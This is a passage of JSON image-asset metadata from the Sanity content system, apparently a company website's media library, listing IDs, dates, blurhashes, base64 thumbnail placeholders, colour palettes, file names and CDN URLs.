QAHBAAAgIDAQEAAAAAAAAAAAAAAAECAxEhMRNR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAID/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAMAwEAAhEDEQA/ANIWeks649FcbJQaWvmUAb1C0NqvEmnJdwAAP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343454","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e3f25","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dec3a9","foreground":"#000","population":0.15,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dec3a9","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747ca4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4946c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"bcd923a433c0375eb13233df964e7ac3dcf24c97-1500x620.webp","path":"images/sczeoy4w/production/bcd923a433c0375eb13233df964e7ac3dcf24c97-1500x620.webp","sha1hash":"bcd923a433c0375eb13233df964e7ac3dcf24c97","size":37272,"uploadId":"ysSSDm4e6ze1mpbHut9jzF8rsopuE658","url":"https://cdn.sanity.io/images/sczeoy4w/production/bcd923a433c0375eb13233df964e7ac3dcf24c97-1500x620.webp"} {"_createdAt":"2024-07-22T14:34:58Z","_id":"image-bd0cbf6e1a2bcbbff97d28a9bc0322fb95427339-1200x628-png","_rev":"mr6Ps1Vz8WkVL9G5VRupl1","_type":"sanity.imageAsset","_updatedAt":"2024-07-22T14:34:58Z","assetId":"bd0cbf6e1a2bcbbff97d28a9bc0322fb95427339","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNsF*YW9,BVG~ql7iviyeUZ~ZObcg#g2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB7UlEQVQokTXP7U9ScQDF8YuIyshKC0YhLUG4KQopIYwHtRfNN/WmLAUkMyu3VMSStkDQLlyexJCHmVtt/qe/b123tvP2s3OOJNaGxLadtEx6goyLrzJfHBw6yE2Sl8m7KLpRpqj76EW4es6fZdpztGbo+iWRuCEyHo6i5ALk/ByHUcIoIdQwlRCVIKdRWot0Yvxa4uoFv59xNk3DyanrGh/McPyUQoRCCCWGukh1iWoMNYga0HDdjyrT8PDTR82FOoZ6H8UsibhJ7HsoLlKMchylvEQpRmVBw4qfooeCTG6MvJnSA2oTVB5Sd1Afp2yVxJpJ7Mp8D5EPaVhZoBjgZJ5SkBMfWTt7t8iYyN2lMq4NPn9MZ1b73HBKYsUgUiNsWfl0j882dm3sWNizkLFyYCF9k51B9oc4slB3a/LcR/s6TVkSL/vEygCrg8QHSRhY7+etnnd6PhjYGyZ7h+wI325zYqM5RXuWs0mastbcmpHE6wGRGhWbZjZHSRlJ9pHSsaHT8KGZkpOykx92VActH90nNB9xKtOZ4yIoiTdD4r1VbNvFR6vYMJHU/8f9ZM3UpzjzUnVRk+n46c3Tmqbl5SLEZUQSr/Ri1UjcRMJIop+kjnWJDYktHelhyi6aXlQnNTfdgGa6fnoBLsP/8F+NREMGY0xMLQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935a05","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac577","foreground":"#000","population":0.4,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"FINAL Don’t buy the hype: The GenAI power you already have.png","path":"images/sczeoy4w/production/bd0cbf6e1a2bcbbff97d28a9bc0322fb95427339-1200x628.png","sha1hash":"bd0cbf6e1a2bcbbff97d28a9bc0322fb95427339","size":72426,"uploadId":"b6C9jmTeHwl0kKMbDogjPB6wXGf5sQoq","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd0cbf6e1a2bcbbff97d28a9bc0322fb95427339-1200x628.png"} {"_createdAt":"2022-06-30T19:56:35Z","_id":"image-bd102445088aabe4ff4b2c0a6285236cfcea46c6-1311x768-png","_rev":"QRl2cGoCgj0FlAhkRrhaZS","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:52Z","assetId":"bd102445088aabe4ff4b2c0a6285236cfcea46c6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04LUVU~_1r=DQ,x%x#rnOX2-Y_1sXnhsQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.70703125,"height":768,"width":1311},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABbklEQVQokX1R7Y7TMBD0Q6RJz/u9dhy3UUSvggMK9Fcl/vD+z4OckjuOSoxGq9VqZ707Dt9nvSzlx+Xr7Xa7Xq+fXl5Op9PxeJzeo5Ryj38jVIOa+FinZVnmeS6lpJRUlR9gambmZu7eMtXQ913f74ahH1b0G3bvsd/vVSUnH3Mu45hTUuHQdd3uEV33D4dhYEY3SabZzU2ZMECMRMRErxEB4tPTIyFGhIgxYgSECDEGJjIRUzVXMzURIWJEQiRC4jW5E0AJJoXMwAAEEAiACUVIXMREuCm5bYGszM68VQhpcvoy07mQrUsGBGBEFfbUrJTWTE2l6m6e2nn3dcTk8Dx+vh7Pl5oPzryJTSR5k7cvIlSRZNYqbsnNVYVIs9Zv8+nXx+XnOT9Pm5hI15Wbsp3XxrWnVgvfLGDSaunD6EuWLIgQVDgnL3ksOSd3fTVsteSNm21/BiEiQHDVaRwPUz3UWksZU3IRWZv+w7v4N0IZWIDJSwFXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#62382e","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#691808","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#51a465","foreground":"#fff","population":0.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#beddc6","foreground":"#000","population":0.07,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d48e60","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#51a465","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9d4211","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bd102445088aabe4ff4b2c0a6285236cfcea46c6-1311x768.png","path":"images/sczeoy4w/production/bd102445088aabe4ff4b2c0a6285236cfcea46c6-1311x768.png","sha1hash":"bd102445088aabe4ff4b2c0a6285236cfcea46c6","size":24827,"uploadId":"DBLcQKgY7Ur4aTkWPBZLNMxHwrwrXvF8","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd102445088aabe4ff4b2c0a6285236cfcea46c6-1311x768.png"} {"_createdAt":"2022-09-14T13:41:26Z","_id":"image-bd5d4566537e7e3da219039f7d31be58ee8eb732-1200x630-jpg","_rev":"Vn7qQ8eGV1PH1pChU1RG4A","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T13:41:26Z","assetId":"bd5d4566537e7e3da219039f7d31be58ee8eb732","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAADCP/EACEQAAICAgEEAwAAAAAAAAAAAAECAwQABREGEiFCMXGR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQP/xAAZEQEBAQEBAQAAAAAAAAAAAAABAgAhERL/2gAMAwEAAhEDEQA/AOhVr3m2Ejy2yKxJKqp8jC9Y7q3r69WOlIkLTv2NPIOVjHHycbEoFpz5/c2lrw2UMdiNJEPqw5GVhJRTMpNdw+ltzav6oS2gGkV2TvUcBwPYfeWOSNIkCRKERfAVRwBljfzVKHmF7zf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444c4c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1490","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c59bcd","foreground":"#000","population":0.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c59bcd","foreground":"#000","population":0.71,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efc99a","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#856896","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c29e8","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Redis_product_page_meta_preview.jpg","path":"images/sczeoy4w/production/bd5d4566537e7e3da219039f7d31be58ee8eb732-1200x630.jpg","sha1hash":"bd5d4566537e7e3da219039f7d31be58ee8eb732","size":26828,"uploadId":"r9t769y8YxJyqOifAf1mSskPNDKzTBNd","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd5d4566537e7e3da219039f7d31be58ee8eb732-1200x630.jpg"} {"_createdAt":"2022-06-15T20:01:30Z","_id":"image-bd61999acd57354208625aa34d7c4a09ad37f72c-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7XGz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:40Z","assetId":"bd61999acd57354208625aa34d7c4a09ad37f72c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6C74:I9?H4:8^00^*D%_4IAs,D%?bD%-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiklEQVQokRXQS2/SAAAA4P4MNUZ0aoAxGJRXKdDSlo5HKaWlXUsZ0JZnKYyXDMYGKnM6M5csc8ZETYxeNN6GMV7m2RiPO3jYdT/E7Ad8lw944A67kDiIJkA0CZFpguaJtODFKUeIBJF4MMYiKQGKcf5UDpf1EF9eQVO3V6C7DginOABEE8n1Ii2pKbGUkVVGKkQzggdP2uCoxRtZDpBOjHbGeJBVA8WBJ9e2RHmTBzOtwqvBKBBJ8dliVdKaQqnG5dWEIEc5ieDkECUsB8j7XsyKUCtx0Z5tuLXdQH0G59vOuLDkjZgcASCc4BhZEzVdUGrcRpnJq2KlqbSHmZKxilImELEiFJzVYvqONDttH38eHr3b6EycOH3T6gWWIdxP0JEUT9ACSQuJrCyVda2zxSoGiKfvgagryir96fT4/YsPX0+/nJ18+rY5fe6LsdfY7EH8RAqjeILKxmiBEQvFmtEcjCudUSqnuXHaQ7Jivdfc2a+O5qX+VKj3UTZvhog7dj9gh6NrbI6RlIxYFGRVVqqVZqe7NemOd3OaHoxzVpi0wKQNSdpQykUwcCILYpTFj1l96PW2oNTLxqBs9KpGT6236q1eezBqDcaq3o1mcg89yA2r55bNv+QKhUi6obf7w0m2UIVJGvBilNYaTJ4e7M4PRtN5dzjZns0fP3s52z+c7R/WOiOIZMw+zBGKeXGKEwsnR0c/F4vj12/XCxXABuGJbF7WmhvlZl5r5LWGvvmoP572t58Yg0lJ78b5YjjJI5TAyNr2bG9xtvh3cXF+/mvv4BWw5IDM7rDNh9j9qBchcYrLSCVRqa+XamRGCqwxWFrEmVwwzspl4827j7///L26urq8vDz7/uM/MybjOaQBFfcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34454e","foreground":"#fff","population":6.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c546c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#687883","foreground":"#fff","population":7.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb6bd","foreground":"#000","population":1.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ac6de","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687883","foreground":"#fff","population":7.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#285f7d","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bd61999acd57354208625aa34d7c4a09ad37f72c-752x405.png","path":"images/sczeoy4w/production/bd61999acd57354208625aa34d7c4a09ad37f72c-752x405.png","sha1hash":"bd61999acd57354208625aa34d7c4a09ad37f72c","size":90012,"uploadId":"RJnH9o4RzIYLoA1it8E2ArshxHAZNNdo","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd61999acd57354208625aa34d7c4a09ad37f72c-752x405.png"} {"_createdAt":"2024-08-12T11:32:21Z","_id":"image-bd7af148019946ed6dd92e9a3f05edc59ef0eb3e-1200x630-png","_rev":"XhDEysrhya47fswVkfOYD6","_type":"sanity.imageAsset","_updatedAt":"2024-08-12T11:32:21Z","assetId":"bd7af148019946ed6dd92e9a3f05edc59ef0eb3e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37nV8~FRM^hw@TONuM_9bIr00Iqt3E5NF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACvklEQVQokUWTa1MaBxiF9w900iq4XJeF3QWWZVlAhGwcG0IwSGsmExM1TTNqL2o0YNGCIJewyKDxkvTyh58OtDP9cOY9c+ad8+k8wlfuVzwQN5nzbeMK/IgruIsr+DOu4D5u6YgF+QQxfIpHaeHTuvijg5mm3qd28Ws9vGoHT6SJGDlDmPNuEdR2iZr7JDLH6Jk6ilEjFK8hxxtEjBaRZAdJv/i3RJuWDfAqHTxKG6/anWnqxUgTQZTeki7U+Ha1Tanao/z9kMfPhqyUHVbKY55UP/GkekduZYJmOaipS1TrEsUcEE72UcwRSmqCpDv4tD6CO/jDrLBY6fC02md13WF1fcyz51esvbjlu5dfqLz4g8dr9xSKtzwsfWa5/Bm7dEOheINd+ot88W/03D2hxA3C155NJG2PePo9xmINc6mBufQ7qXybjN0n82hIquCQzI8wCxMs+5qMPSb90MEqXJK2P2HZd0Qzt8jGPcI3nk1UfQ8re4hqHBDQ9glqR0ixOrJ+iqy3kBNtVLND3LpATXaRYi2C0TOk2DkhvYsU7xOMOUj6FYI/8o7tjQ7N9xOq1TYxq0Y0dUIi28RY7KBnuxi5PpW1ITtbQyoVB3Op/18+xMiNUVNDQvpHJH2MIGs7fNhz+NL7kzdb0+cGiewpVv4cq9AlmethLnXZfj1iUL9m5+0NdnHM4vKI7PIVmeU7jPw1asohlBggeAJbPLUP2FxvYq80kOOH+CIH+NVjAtoJAa0xu+nFBuVSm8KjHlqqg5K8IJIcopgTwsYlwdgFPrWFML/wEk16TVLfRUse4I38wpz/J+b8v+IKHuEO1XFLH3BLh4jyMZ7wb4jhxmzI05kEoiN8Wm+2wSkAwgP3BvPiBgv+bdzSO+YDO7NCV+B/UhbkOi7pCLd0jCg3EMNneJRz/NGPBKLOjJQpJdP8H/63inZPSiU+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362e6a","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c8d6","foreground":"#000","population":7.63,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7881c2","foreground":"#fff","population":0.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656d9c","foreground":"#fff","population":2.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event promo template with two speakers Dark blue (2).png","path":"images/sczeoy4w/production/bd7af148019946ed6dd92e9a3f05edc59ef0eb3e-1200x630.png","sha1hash":"bd7af148019946ed6dd92e9a3f05edc59ef0eb3e","size":223527,"uploadId":"iTu6mlu9wkM2rqXytkI0RklrzcRUXsCQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd7af148019946ed6dd92e9a3f05edc59ef0eb3e-1200x630.png"} {"_createdAt":"2022-09-07T11:39:49Z","_id":"image-bda93dbe58712282f2d4113904f1aabf01149f70-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GLi7","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:49Z","assetId":"bda93dbe58712282f2d4113904f1aabf01149f70","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACy0lEQVQ4jZWUS4seRRSGn8nEGW+YIUQioqJEwcSY4EJFo46i6CZDVBRCJolOvzWZxIiCC3ETF2Ikgmg2KuJCEbyMIt6NV/AfCC5c+Qfc+QvOK6e6OtNzQfCDQ3VVf/2eSz3nYHGlxQMhHrfYZ7HVBULgtGP8v5/FrRavWfxq8bbFHbHI5jjcC0YBb2DVYT4PjrvecnO9RbH42uI3iyMuXOS1H4xtOF/7vgluttge4mmLHy3OWNxtsduFPRY3u2xgGq3iRndc4Y4pvFBFpyweboK/Z7QhlqPwqbWBDeeF5VxDvG/xlMWOIdwLLO5raf9l8bPF8vDBf4qKHyz+sPjEYnYo7oQLt1h8kH8IMb8qpfXp7mnrXotDFl9YfOTCPRndRKKR4Vq8ZfFliFmf3OAmh/1w1jGRyNXoCmdduKkKVjS6ymNeyPetntPx7hqRFbEUyucLXZiPwjkXTrmwvX+ZDIltIV6w+NZiwYXLVjG4GplBcEsUno3CL1E4kQ7G6WyxOGbxlcVz0TvAx9czVx31Z1e58JLFN85O69g0FkyYH8sattRvcKk4TSdW0aM13k+3LnvH4kOLe7OmfctkFAtMWtxl8XHz+IwLB1yYc2H/OhOPWJyy+Mni9Qr3keyUoy2FNyE6rnbH8yHOhfiucZYsjnkc9p9Fz+DnIQ5bzHgmBfev6sVpd+yyOGrxYkv91baeGe3TXnFeYuHRENe4Y9JLKXgSfAB8AmKpik5GP9IetHjSYq716442SG6zOFiHiLjdhRkvMpGZ1lHnQ+AnVsZP6+2dFi83JnPd2d5PNUfvRX95iy5sO0/B6ZWZOJ5pm7Ins44W/zTR2chu6rg0xFKIP0P8bXHW4roxo71gH9VgCW3W8fQowl0xX1sxUXkoI2x4JbeXn/92cTy5M+R94Ln6fHEdAH16Wb9L/EatUTrLFO+0uN/i2jZPq2D+/gXmeHJF0JzQBgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4c34","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9e1f04","foreground":"#fff","population":2.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f46a17","foreground":"#fff","population":3.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7b331d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d46c4c","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6644","foreground":"#fff","population":1.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46a17","foreground":"#fff","population":3.82,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-shopping-cart.svg","path":"images/sczeoy4w/production/bda93dbe58712282f2d4113904f1aabf01149f70-24x24.svg","sha1hash":"bda93dbe58712282f2d4113904f1aabf01149f70","size":594,"uploadId":"mIqVIKR6spHmLUMuOuOhBf5SGJ4uPkJZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/bda93dbe58712282f2d4113904f1aabf01149f70-24x24.svg"} {"_createdAt":"2023-11-01T16:49:42Z","_id":"image-bdb23679173ff41d24522905172f91b21542d064-1125x375-png","_rev":"yGYi2HTu7doJg1fO7gkCA9","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T16:49:42Z","assetId":"bdb23679173ff41d24522905172f91b21542d064","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DFF~gd%200NG00~qt7D%RjIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3,"height":375,"width":1125},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAADmsAAA5rAGQSApKAAABd0lEQVQYlW2QzSsEcRjHnwl5K0k5oc2BchA57EWJqxwoOYlyVC7+BEn+AnJXTnIlt70oedtFlOyund2d0czOjvnNzO/1mdFuazl46ttTz9Pz6ft8AQAgimKI47o0xKgHEYcRcdCput03d+muu4fHrnTmuaW2j+O41lsbXWvc1dUsRPwZtnEupimlu4yxbdu2p3O53LKu62ulsjHhEDpGqFyiQm1wiUtC4ojCqBUxAqnwFyiV+gF2BGG44nkk5RFyYlnWarGoHxiGcVE2PzcNJ1i1CT/9CkXGp/LMZ3KRCtXJhIKQqz9AKZsOgyCc8zz/yCP+jmXbs8VSacswzMNS2VwzHH/eJnzPDcSxF4p9j8qZgMn2gEnwmfz3ZY1z0U8ZT1LGx52q25vNFwbyheJ47kMfslzSR6hM+EyOBlwmQq56qFBazR396/Dp+QniOGqG2wi7GfjC8jpMTSbh8qUK5xkTUq8WXL1V4Pq9AukPF26zDtznq3XYN3YAQSnQRfL5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#395469","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1424","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b0c5d4","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c5d4","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1d4f1","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#648cac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34648c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (4).png","path":"images/sczeoy4w/production/bdb23679173ff41d24522905172f91b21542d064-1125x375.png","sha1hash":"bdb23679173ff41d24522905172f91b21542d064","size":29737,"uploadId":"5nfmnUYXDsTbiVNVfHtfULtabvTF9W00","url":"https://cdn.sanity.io/images/sczeoy4w/production/bdb23679173ff41d24522905172f91b21542d064-1125x375.png"} {"_createdAt":"2022-06-30T20:09:30Z","_id":"image-be15795474d6e74045706142cd74d587c2540d4b-2808x1274-png","_rev":"6BJll63fjycTvao7AuprdF","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:03:15Z","assetId":"be15795474d6e74045706142cd74d587c2540d4b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M05}dW00-r-;9Y00xbxaj?xu00%3M{9Z%2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.204081632653061,"height":1274,"width":2808},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABhklEQVQokYXQW5KjIBhA4Wwl6aiAl3gJgqBoEpNO9ex/PWcKM+npl6l5+KqgSg6/7D4+Uvb74z8dDglJkpEkguNRkBzltyzJkVmJzCpEWpAmObsYjIcOh+MPcZ98B6P4XYzEg28qqyhVS6U6StmQi/pn8P9iME70Dhaypik059LQlYamMn+D+7f9a7LNn2m/f/0oUeJEpRqasqNvLF5PjDrgdMDqwE7KglxVFHmFUiVC5Nt7vS56ies0lZRli9UTF39lDXcey+dmDQ9md8PbC7v+rJmcI/iRcfAMZqA/9zR1R1nUm/rU0p8Ny7TwdXvy6/bkeXnwudw393BnGS54M7PrmhbbawajcaZnHAZmPzKPgeAnRheNTM5zDYF1mlmsZ9Se2Qau/sriLkxmYtAjOykUb0oqyrygqWpMp3G9ZegN56ajrk50dcvQ9djWYFvHZBeu07pFY9zFYJqI7c2iuBaJQKaCPJOUMqcQOSqTyFRSqQrdGAbttmkmO3MdV9ZxZbEBf3b8Bq6VFskwSoxRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372c54","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f341d","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a59cad","foreground":"#000","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a59cad","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7a7a1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c3c34","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"be15795474d6e74045706142cd74d587c2540d4b-2808x1274.png","path":"images/sczeoy4w/production/be15795474d6e74045706142cd74d587c2540d4b-2808x1274.png","sha1hash":"be15795474d6e74045706142cd74d587c2540d4b","size":1228571,"uploadId":"X9FAVg7BMQcb4MxZerPk7FQZ2mcuIIqT","url":"https://cdn.sanity.io/images/sczeoy4w/production/be15795474d6e74045706142cd74d587c2540d4b-2808x1274.png"} {"_createdAt":"2022-11-16T07:01:27Z","_id":"image-be27664420cb191f1584faecc3f0b1c57c7da222-183x59-svg","_rev":"PJutSls1mvFq6xuKvmV0KX","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T07:01:27Z","assetId":"be27664420cb191f1584faecc3f0b1c57c7da222","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DK0{#gkoUfZkl%bHfQjajafj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1016949152542375,"height":59,"width":183},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABUElEQVQYlW2Ry0oCARSGv3HGGTXzNlaLQowITCKKIgg0MsEuWKZgmlZUEpOoZCndixa16QGCHqBl0DpqV216iWzbC7SMsWlVBz4O5/D/cC4AqoETaEUU3HptyQc7nXeJmOtxsep6SJ+4njIVx208ah7v8gM9wAgQAFyAA/ACHoAisA6kgASQBzZQxJwYVAvylL8uz3SfmqO+fTHgWUU2/Wp0TxaYA9JAwehxA1wCu8AecA5cAUdIppLgkCuCUzkU7OYzRKEMLB